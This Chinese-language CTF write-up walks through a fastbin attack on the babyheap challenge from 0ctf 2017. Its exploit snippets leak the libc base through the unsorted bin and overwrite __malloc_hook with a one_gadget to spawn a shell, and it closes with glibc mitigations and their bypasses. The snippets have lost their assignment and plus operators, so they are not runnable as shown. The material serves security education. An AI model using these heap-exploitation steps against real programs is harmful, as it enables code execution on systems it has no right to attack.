堆漏洞利用技巧:从babyheap_0ctf_2017看fastbin attack的实战应用

堆漏洞利用技巧:从babyheap_0ctf_2017看fastbin attack的实战应用 堆漏洞利用实战通过babyheap_0ctf_2017深入理解fastbin attack技术在CTF竞赛中堆漏洞利用一直是PWN题目的难点和重点。其中fastbin attack作为一种经典的堆利用技术能够帮助攻击者实现任意地址写入进而控制程序执行流程。本文将以0ctf 2017的babyheap题目为例详细剖析fastbin attack的实现原理和实战应用。1. 堆管理基础与fastbin机制要理解fastbin attack首先需要掌握glibc堆管理的基本原理。现代glibc使用ptmalloc2作为默认的内存分配器它将堆内存划分为不同的bins来管理空闲内存块fastbins用于快速分配小内存块通常小于128字节采用LIFO后进先出的单链表结构small bins和large bins用于管理中等和大尺寸的内存块unsorted bin作为分配和释放的中间缓存struct malloc_chunk { size_t prev_size; /* 前一个chunk的大小如果前一个chunk空闲 */ size_t size; /* 当前chunk的大小和状态位 */ struct malloc_chunk* fd; /* 指向链表中下一个空闲chunkfastbins/small bins */ struct malloc_chunk* bk; /* 指向链表中上一个空闲chunksmall/large bins */ };fastbin attack的核心在于利用fastbin分配时的两个关键特性单向链表结构fastbin只通过fd指针链接不检查bk指针宽松的安全检查只验证size字段是否符合fastbin的大小要求2. babyheap_0ctf_2017题目分析这道题目提供了一个典型的堆菜单程序具有以下功能Allocate创建指定大小的堆块Fill向指定堆块写入数据存在堆溢出漏洞Free释放指定堆块Dump输出指定堆块的内容程序开启了全部保护机制NX、ASLR、Canary等因此我们需要通过堆漏洞来绕过这些保护。2.1 漏洞点识别通过分析可以发现两个关键漏洞堆溢出Fill功能允许写入任意长度的数据不受原始chunk大小的限制UAF释放后的chunk指针未被清零可以继续使用2.2 利用思路概述我们的攻击计划分为两个阶段泄露libc基地址通过构造chunk重叠和unsorted bin特性获取libc地址fastbin attack利用fastbin机制将__malloc_hook放入fastbin链表最终劫持控制流3. 泄露libc地址的技术实现要绕过ASLR首先需要获取libc的基地址。我们可以利用unsorted bin的特性来实现这一目标# 初始堆布局 alloc(0x10) # chunk 0 alloc(0x10) # chunk 1 alloc(0x10) # chunk 2 alloc(0x10) # chunk 3 alloc(0x80) # chunk 4 (small bin大小)3.1 构造chunk重叠通过堆溢出修改chunk的fd指针我们可以制造chunk重叠free(1) free(2) # 此时fastbin: chunk2 - chunk1 # 通过chunk0溢出修改chunk2的fd指向chunk4 payload p64(0)*3 p64(0x21) p64(0)*3 p64(0x21) p8(0x80) fill(0, payload)这样操作后fastbin链表变为chunk2 - chunk4。虽然chunk4实际大小为0x80但我们可以通过修改其size字段来绕过fastbin的检查# 修改chunk4的size为0x21 payload p64(0)*3 p64(0x21) fill(3, payload)3.2 泄露libc地址通过精心构造的堆布局我们可以让small bin chunk的fd指针指向main_arena中的地址alloc(0x10) # 分配chunk1 alloc(0x10) # 分配chunk4现在有两个指针指向它 # 恢复chunk4的原始大小并释放到unsorted bin payload p64(0)*3 p64(0x91) fill(3, payload) alloc(0x80) free(4) # 进入unsorted bin # 通过dump功能泄露libc地址 libc_base u64(dump(2)[:8].strip().ljust(8, \x00)) - 0x3c4b78注意不同版本的libc中main_arena的偏移可能不同。对于libc-2.23.so这个偏移是0x3c4b78。4. fastbin attack实战劫持__malloc_hook获取libc基地址后我们可以定位到__malloc_hook的位置。这个函数指针在每次调用malloc时都会被检查如果非空则执行它指向的代码。4.1 寻找合适的fake chunkfastbin attack的关键是找到一个可以通过size检查的内存地址。在__malloc_hook附近我们可以发现一个巧妙的地址0x7f2a8a09eaed __malloc_hook-35: 0x000000000000007f这个地址的最后一个字节是0x7f正好对应fastbin中0x70大小的chunk因为fastbin的size检查只验证最低字节。4.2 构造fastbin链表我们需要将一个指向这个fake chunk的地址放入fastbin链表中alloc(0x60) # 分配一个0x70大小的chunk包括元数据 free(4) # 释放它到fastbin # 修改fd指针指向fake chunk payload p64(libc_base 0x3c4aed) fill(2, payload)4.3 分配fake chunk并覆盖__malloc_hook现在我们可以通过两次分配获得fake chunk的控制权alloc(0x60) # 获取原始chunk alloc(0x60) # 获取fake chunk # 覆盖__malloc_hook为one_gadget地址 payload p8(0)*3 p64(0)*2 p64(libc_base 0x4526a) fill(6, payload)最后触发malloc调用即可获得shellalloc(255) # 触发__malloc_hook5. 防御措施与绕过思路现代glibc版本已经引入了多种防护机制来对抗fastbin attack防护机制作用可能的绕过方式fastbin size检查验证chunk的size字段寻找自然存在的伪size字段double free检查检测同一chunk连续释放通过中间释放其他chunk绕过tcache机制新增缓存层改变分配行为填满tcache或利用tcache poisoning在实际漏洞利用中我们需要根据目标环境的具体情况调整利用策略。例如在较新的glibc版本中可能需要结合tcache机制来实现类似的攻击效果。理解fastbin attack不仅对CTF比赛有帮助也能让我们更好地认识堆内存管理的复杂性在开发中避免类似的安全问题。通过babyheap这道题目我们可以看到即使是开启了全部保护机制的程序如果存在堆溢出等基本漏洞仍然可能被攻破。